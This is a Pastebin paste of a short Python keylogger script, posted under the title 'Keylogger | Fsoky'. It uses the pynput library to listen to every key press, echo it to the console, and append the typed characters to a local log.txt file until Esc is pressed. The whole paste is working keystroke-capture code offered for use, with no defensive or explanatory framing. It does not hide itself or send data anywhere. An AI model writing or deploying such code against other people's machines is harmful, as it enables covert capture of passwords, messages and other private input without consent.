Advertisement
Fsoky

Keylogger | Fsoky

Oct 5th, 2020 (edited)
3,238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.76 KB | None | 0 0
  1. import pynput
  2. from pynput.keyboard import Key, Listener
  3.  
  4.  
  5. class Keylogger:
  6.  
  7.     def __init__(self):
  8.         self.count = 0
  9.         self.keys = []
  10.  
  11.     def on_press(self, key):
  12.         print(f"{key} pressed")
  13.  
  14.         self.keys.append(key)
  15.         self.count += 1
  16.  
  17.         if self.count >= 10:
  18.             self.write_file(self.keys)
  19.             self.keys = []
  20.  
  21.     def on_release(self, key):
  22.         if key == Key.esc:
  23.             return False
  24.  
  25.     def write_file(self, keys):
  26.         with open("log.txt", "a") as file:
  27.             for key in self.keys:
  28.                 k = str(key).replace("'", "")
  29.  
  30.                 if k.find("space") > 0:
  31.                     file.write("\n")
  32.                 elif k.find("Key") == -1:
  33.                     file.write(k)
  34.  
  35.  
  36. if __name__ == "__main__":
  37.     obj = Keylogger()
  38.     with Listener(on_press = obj.on_press, on_release = obj.on_release) as listener:
  39.         listener.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement